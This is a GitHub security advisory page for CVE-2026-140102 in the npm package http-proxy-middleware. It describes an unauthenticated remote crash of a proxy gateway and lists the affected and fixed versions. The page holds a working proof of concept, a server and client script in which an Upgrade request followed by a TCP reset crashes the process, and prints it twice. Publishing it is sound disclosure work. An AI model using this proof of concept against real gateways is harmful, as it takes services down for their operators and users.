GHSA-HVP5-3MRG-Q5HG
Vulnerability from github – Published: 2026-12-01 18:41 – Updated: 2026-12-01 18:41Proof of concept
- run
gateway.js
import http from "http";
import { createProxyMiddleware } from "http-proxy-middleware";
const neverTrigger = () => console.log("neverTrigger");
const proxy = createProxyMiddleware({
target: "http://example.com",
pathFilter: "/ws",
ws: true,
on: { error: neverTrigger }
});
const server = http.createServer((req, res) => proxy(
req,
res,
() => res.writeHead(404).end()
));
server.on("upgrade", proxy.upgrade);
server.on("error", neverTrigger);
server.on("clientError", neverTrigger);
server.listen(5056, "127.0.0.1");
- run
client.js
import net from "net";
const socket = net.connect(5056, "127.0.0.1", () => {
socket.write("GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n");
setTimeout(() => socket.resetAndDestroy(), 100);
});
- gateway process crash
node:events:505
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (node:internal/stream_base_commons:221:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (node:internal/streams/destroy:170:8)
at emitErrorCloseNT (node:internal/streams/destroy:129:3)
at process.processTicksAndRejections (node:internal/process/task_queues:90:21) {
errno: -54,
code: 'ECONNRESET',
syscall: 'read'
}
Node.js v24.22.3
Impact
A remote unauthenticated attacker can crash the whole gateway process with a single Upgrade request and a TCP RST, even when on.error and the server's error and clientError events are all handled.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "http-proxy-middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.0"
},
{
"fixed": "2.0.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "http-proxy-middleware"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-beta.0"
},
{
"fixed": "3.0.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "http-proxy-middleware"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-beta.0"
},
{
"fixed": "4.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-140102"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-01T18:41:09Z",
"nvd_published_at": "2026-11-30T23:17:24Z",
"severity": "HIGH"
},
"details": "### Proof of concept\n\n1. run `gateway.js`\n```js\nimport http from \"http\";\nimport { createProxyMiddleware } from \"http-proxy-middleware\";\n\nconst neverTrigger = () =\u003e console.log(\"neverTrigger\");\n\nconst proxy = createProxyMiddleware({\n target: \"http://example.com\",\n pathFilter: \"/ws\",\n ws: true,\n on: { error: neverTrigger }\n});\nconst server = http.createServer((req, res) =\u003e proxy(\n req,\n res,\n () =\u003e res.writeHead(404).end()\n));\nserver.on(\"upgrade\", proxy.upgrade);\nserver.on(\"error\", neverTrigger);\nserver.on(\"clientError\", neverTrigger);\nserver.listen(5056, \"127.0.0.1\");\n```\n2. run `client.js`\n```js\nimport net from \"net\";\n\nconst socket = net.connect(5056, \"127.0.0.1\", () =\u003e {\n socket.write(\"GET / HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\nConnection: Upgrade\\r\\nUpgrade: websocket\\r\\n\\r\\n\");\n setTimeout(() =\u003e socket.resetAndDestroy(), 100);\n});\n```\n3. gateway process crash\n```\nnode:events:505\n throw er; // Unhandled \u0027error\u0027 event\n ^\n\nError: read ECONNRESET\n at TCP.onStreamRead (node:internal/stream_base_commons:221:20)\nEmitted \u0027error\u0027 event on Socket instance at:\n at emitErrorNT (node:internal/streams/destroy:170:8)\n at emitErrorCloseNT (node:internal/streams/destroy:129:3)\n at process.processTicksAndRejections (node:internal/process/task_queues:90:21) {\n errno: -54,\n code: \u0027ECONNRESET\u0027,\n syscall: \u0027read\u0027\n}\n\nNode.js v24.22.3\n```\n\n### Impact\n\nA remote unauthenticated attacker can crash the whole gateway process with a single `Upgrade` request and a TCP RST, even when `on.error` and the server\u0027s `error` and `clientError` events are all handled.",
"id": "GHSA-hvp5-3mrg-q5hg",
"modified": "2026-12-01T18:41:09Z",
"published": "2026-12-01T18:41:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-hvp5-3mrg-q5hg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140102"
},
{
"type": "WEB",
"url": "https://github.com/chimurai/http-proxy-middleware/pull/1328"
},
{
"type": "WEB",
"url": "https://github.com/chimurai/http-proxy-middleware/pull/1329"
},
{
"type": "WEB",
"url": "https://github.com/chimurai/http-proxy-middleware/pull/1330"
},
{
"type": "WEB",
"url": "https://github.com/chimurai/http-proxy-middleware/commit/386bed662facba30c5602ca211a5399f09cdd715"
},
{
"type": "WEB",
"url": "https://github.com/chimurai/http-proxy-middleware/commit/6911b4daefaa138767d4e4c35302b6dea2e2b64a"
},
{
"type": "WEB",
"url": "https://github.com/chimurai/http-proxy-middleware/commit/c82e123f831bae1f46d1d06d9c035e385771b7b9"
},
{
"type": "PACKAGE",
"url": "https://github.com/chimurai/http-proxy-middleware"
},
{
"type": "WEB",
"url": "https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.12"
},
{
"type": "WEB",
"url": "https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.11"
},
{
"type": "WEB",
"url": "https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.2.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "http-proxy-middleware: Unauthenticated remote gateway crash via an `Upgrade` request to a path outside `pathFilter` followed by a TCP RST (ws: true)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.